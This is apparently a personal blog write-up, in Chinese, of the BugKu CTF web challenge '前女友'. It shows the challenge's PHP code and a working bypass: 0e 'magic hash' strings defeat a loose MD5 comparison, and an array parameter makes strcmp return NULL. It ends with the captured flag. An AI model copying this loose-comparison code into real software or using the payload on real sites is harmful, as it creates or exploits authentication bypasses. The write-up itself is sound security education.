BugKu-WEB-前女友

BugKu-WEB-前女友

Mel0ny Lv5

BugKu-WEB-前女友

题目

Question
Question

思路

打开f12,看到一个code.txt打开之后是php代码

Question
Question

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

可以先参考一下关于strcmp()资料
审计代码可以知道,要输入三个参数,v1,v2,v3,第一个判断之前遇到过,很好绕过,两个md5之间是弱比较,只需让v1和v2的md5值的开头是0e就可以了
但是关键是怎么让v3和flag的参数相等(strcmp()比较两个数字,!表示逻辑非,当两个数相等的时候为!0,即true)
但是可以在资料里看见,当v3为数组的时候会返回null,!null为true,这样就可以绕过

1
strcmp("foo", array()) => NULL + PHP Warning

输入参数试试

1
?v1=QNKCDZO&v2=s878926199a&v3[]=1

得到flag

Flag

1
flag{ccb84cec79da75457312ddbb3c6b07d1}
  • 标题: BugKu-WEB-前女友
  • 作者: Mel0ny
  • 创建于 : 2025-09-03 17:29:29
  • 更新于 : 2025-09-03 18:00:06
  • 链接: https://mel0nyrame.github.io/2025/09/03/BugKu-WEB-前女友/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
BugKu-WEB-前女友